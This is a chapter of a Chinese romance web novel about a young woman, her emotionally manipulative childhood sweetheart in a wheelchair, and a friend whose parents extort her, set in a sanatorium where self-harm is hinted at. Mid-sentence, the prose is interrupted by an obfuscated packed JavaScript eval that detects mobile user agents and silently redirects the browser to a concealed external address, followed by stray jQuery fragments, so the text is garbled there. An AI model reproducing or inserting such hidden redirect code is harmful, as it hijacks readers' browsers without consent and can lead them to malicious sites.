16. 016
作品:《小骨头》 思绪被鸟群振翅声拉回,路妤桑发觉已经停在原地很久。
轮椅上的人没有催促她,没有提醒她,只是安静地闭着眼,双手交叠在腿上。
从远处看,明明是一副岁月静好的模样。
可她却感到一阵胆寒。
她学的是服装设计,这些商战经济什么的,她根本不懂。
路妤桑到现在都觉得。
其实也没发生什么,两兄弟拌嘴斗气而已。
……
“宋从谂,你做了什么吗?”
“没有,我很乖。”
风声入耳,对方毫不犹豫地回答让路妤桑一阵后怕。
这种感觉来的莫名其妙,就连灼日也无法与其匹敌,冷意从脚底蔓延至全身。
“桑桑,相信我,好吗?”
男人声音太轻太轻,轻到犹如恶魔低语。
路妤桑已经快要分不清,关于宋从谂的一切,什么是真的什么是假的。
他太会骗人了,即便都是为自己好……久而久之,路妤桑只能感受到欺骗和不被信任,自己的所有示好都被拒之门外。
恋人不该是这样的。
“你不信我。”
这句话是路妤桑说的。
意外的是,男人沉吟片刻,闷闷笑了两声。
“我做了什么让桑桑这样没有安全感?”
“我喜欢有自知之明的人。”路妤桑轻啧一声,很讨厌宋从谂好似一切尽在掌握的模样。
像超大号塑料袋。
很装。
宋从谂:“桑桑,相信我,好吗?”
他咬字清晰,不急不缓地重复。
路妤桑不甘示弱。
“宋从谂,你不信我。”
“我一直都相信你。”宋从谂微微偏头,目光落在女人扶住轮椅的手上。
下一秒那只手猛地抽走,男人轻飘飘吐出口气,眼里露出些惋惜。
路妤桑将那只手放到身后:“宋从谂,你可不可以不要总是做那么变态的事情。”
“我只是想看桑桑手有没有出汗,如果热的话我们还是回去吧。”宋从谂装出一副受伤的模样,低垂着脑袋,“我在关心桑桑,桑桑却觉得我是坏蛋。”
换作别人这么说,路妤桑总会愧疚一两下,可眼前的人是宋从谂。
关于信任的话题到此为止,谁也没有说出原因,或许彼此都心知肚明。
惊起的群鸟在太阳落山时又回来了,在天台边排排坐。
路妤桑也觉得今天好像中了邪,从早上八点来到这里,直到现在。
晚风凉爽。
上天台还有一阶楼梯,宋从谂单坐电梯是上不了的。
这人也不是一个会大喊大叫的。
有的时候甚至……像个□□,戳一下动一下。
路妤桑在天台吹了整整一个小时的风,开门下楼就和楼梯口的人对上眼。
“?”
这个竹马,在她面前,总爱哭。
却又像个哑巴,只是默默流泪,一点声音也不出。
见他脸庞已经滑过一行清泪,路妤桑不耐烦地踢一脚轮椅。
“憋回去。”
男人一顿,摸摸拿出衣服口袋里的粉色帕子,擦走泪水,下一秒就灿烂一笑。
“桑桑,我以为你不要我了。”
咦。
“好恶心。”路妤桑再踢一脚轮椅,“介意做绝育。”
“人不能绝育。”宋从谂跟在路妤桑身后,来到电梯口。
“你是狗。”
“桑桑……”
这里是疗养院的顶楼,楼层高,对于宋从谂这类人来说并不方便,更何况是有着心理疾病的人。
可路妤桑却被一道目光盯得心里发慌。
她寻找着,终于,对上那双熟悉的眼。
“昭昭?”
话音刚落,那个小眼睛就离开了,门也被关得严严实实。
面前的电梯门已经被打开,路妤桑不管不顾,朝那道门去,温柔地敲门。
“昭昭?给我开门,好不好?”
这几天檀昭一直给自己分享游戏,分享饭菜,让路妤桑都忘了,那几天她其实该上班。
檀昭也是个心软的,两人因为这个玩到一起,没过两分钟,门就被打开。
眼前的人却不是檀昭。
“密码的宋惊南。”
“……”
男人无辜地和自己弟弟对视,弟弟嫌弃地把脑袋一扭,跟在路妤桑身后。
宋惊南咬咬牙。
吃里扒外,胳膊肘往外拐,见色忘义,不仁不义。
路妤桑两步并作一步,走到床边,戳戳床上那被盖的严严实实的一团。
“昭昭?”
小姑娘声音闷闷的,隐约带上些哭腔。
“桑桑,对不起。”
路妤桑甚至都没有听清楚,身后的宋惊南一个健步冲上来。
“昭昭?”
声音、脸色、眼睛都是担心。
一边还有个折叠的小床,按居住痕迹来看,宋惊南在这里陪檀昭好几天了。
男人蹲着,模样卑微得很,小心翼翼地把被子扒开一条缝,对上檀昭湿漉漉的眼。
“阿南,抱。”
听见这个称呼,路妤桑眉头一跳。
震惊和担心交织。
见檀昭终于从被窝里钻出来,毫不犹豫地往宋惊南怀里去,路妤桑叹出口气,背过身。
半秒钟后,自己后背一热。
“桑桑,对不起,你可以别回头看我吗?”
檀昭声音冷静一些,但还是带着些颤抖。
路妤桑看着环住自己腰的手。
“好。”
“桑桑,我的父母来找我了,他们要我改回原来的名字,去嫁人,换彩礼。”
檀昭声音很轻,听起来如同无感情的早读一般,却又让人窒息。
“宋老板给了他们钱,他们也不放过我,怎么办呀。”
檀昭就在读贵高之前,叫檀招娣,那时候的她一直以为自己是双亲去世的孤儿,因为孤儿院的妈妈们都这么说,后来是路妤桑带她去改的名字。
不知道亲手父母是哪里得到的消息,自己的女儿成绩优异被贵高录取,来学校门口打闹。
-
“她是我们女儿!!自己过得那么好,我们在老家都快揭不开锅了!没良心啊!”
“偷走家里所有的钱,来冒充大小姐上贵族高中!丧尽天良啊!”
两夫妻一唱一和,好像要把所有恶心的罪名安在檀昭身上。
少女本来就自卑,面对这种情况,又不得不面对,低着头缩着脑袋站在学校大门口。
幸好。
没有什么人围观议论。
来这里认亲的人多得是,远房亲戚远房表妹……
“喂!大叔,你影响到我的心理健康和学习了,我的律师会和你说话的。”
不知道从哪里冒出来的人,挡到少女身前。
檀昭不敢抬头,只知道少女的头发长到蝴蝶骨。
少女只留下这句话,翻了个白眼,拉着檀昭回了学校。
“要上课了。”
到现在,檀昭还记得对方手心的温凉。
后来她认出来,这是班长路妤桑。
第二天,檀昭只收到一张卡。
路妤桑站在桌边,装作漫不经心一般,打量着自己的指甲。
“他们不是和你要钱吗?给他们。”
“我不能要你的钱。”
檀昭声音发抖,两只手拿起卡,递给路妤桑。
少女挑了挑眉。
“不是我的,是他们的。”
“昂?”
看着少女呆住的模样,路妤桑忍不住笑出声。
檀昭觉得,这人好似灼日下的向日葵。
“昨天弄了个假律师函吓他们,我就说啊,私了的话不会影响他们的宝贝儿子老公,然后就乖乖赔钱了~”
路妤桑想起来都觉得好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090223|163247||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑。
那对夫妻果然是欺软怕硬的。
檀昭还想说什么,路妤桑摇摇头制止她。
“好啦,他们在学校门口等着呢,把卡给了,就回来好好上课,嗯?”
“……嗯。”檀昭其实有些害怕,她甚至不认识那两个人,可他们拿出来的亲子鉴定又让自己无可奈何。
看出她的犹豫,路妤桑懒懒伸腰,对着某个方向招招手。
“坏东西,我们陪她一起去。”
坐在最后一排的少年起身,虽然是以很乖巧甚至带着一丝讨好意味走过来的,檀昭还是感觉到了敌意和防备。
学校门口的夫妻俩等待多时,第一眼见到檀昭时本想大发雷霆,又看见身后的路妤桑,话都咽回肚子,脸上褶皱笑得堆在一起。
“路大小姐啊,真是麻烦您了。”
夫妻俩异口同声,又狠狠瞪一眼一边的少女,一言不发地用力扯走她手里的银行卡。
是一张很新的卡。
路妤桑清了清嗓子:“三十万,离她远点,最好她高中时都不要出现。”
这两人看着品行不端什么都不好,却很讲信用,之后真没出现过。
这之后,两人成了无话不谈的好朋友,路妤桑也带着她去改了名字。
檀昭到现在都觉得奇怪。
那时候的父母看起来并不像能拿出三十万的人。
如今又找上来。
大概是尝到甜头,想要更多……
……
路妤桑听着檀昭的絮絮叨叨,还是没忍住转身。
面前人脖颈上的一圈纱布太过刺眼。
她愣住,错愕,心疼。
指尖发抖却不敢触碰。
“昭昭……”
“我都说了让你不许转身。”她假意责怪,心虚地将自己用被子裹住。
空气一时间陷入寂静,路妤桑心脏怦怦跳,好似冲破胸口,身旁的宋从谂默默来到她身边。
只看着她。
没有人说话,没有人解释。
路妤桑都不知道自己是怎么离开顶楼的,也不明白为什么宋惊南要把房间定在顶楼,檀昭情绪那么不稳定……
她不再管宋从谂,每天早上醒来就往疗养院赶,陪着檀昭,去看看海吹吹风,又一起玩游戏。
关于檀昭为什么做出这种行为,原因路妤桑从不过问。
直到海边的夕阳没了头。
“桑桑啊,你怎么那么好。”
檀昭眯着眼笑,抱住路妤桑的手臂,把脸往她肩头靠。
“对你才这么好。”路妤桑揉揉对方脑袋,“你出事了都不和我说,那我是不是要说檀昭坏?”
檀昭嘿嘿一笑,摇摇头:“我怕桑桑担心我,还有宋老板在呢,没关系的。”
路妤桑哼一声,佯装生气。
“见色忘友。”
“嘿嘿,桑桑……你和宋从谂复合了吗?我和你讲哦,护工姐姐每天晚上都要去给他包扎。”檀昭眨眨眼,“我晚上来散步,总能看见护工姐姐从他房间里拿出来带血的纱布。”
“……?”
路妤桑沉默着,听檀昭继续说。
“感觉他的情况要更差一点耶,继续这样的话,晚上睡觉是不是要被束缚带绑起来啊?那样很难受的。”
檀昭摇摇头。
“宋从谂难受,桑桑就会心疼,要是有什么灵丹妙药就好了。”
路妤桑眼前一黑,有些反应不过来。
“昭昭,你是从什么时候发现的……?”
檀昭抿了抿唇,思考几秒:“我住进来的比他晚,前几天也没有出来散步,嗯,一个星期前吧。”
记忆里,宋从谂总穿着长袖,也不容易抬手。
路妤桑今晚早一些回了家,夕阳把她的影子拉得很长很长……
她站在小月亮路灯前,有些恍惚,到最后也不知道是怎么进的家。
有些瞬间,她甚至怀疑自己,是不是因为自己,身边的人才过的那么惨。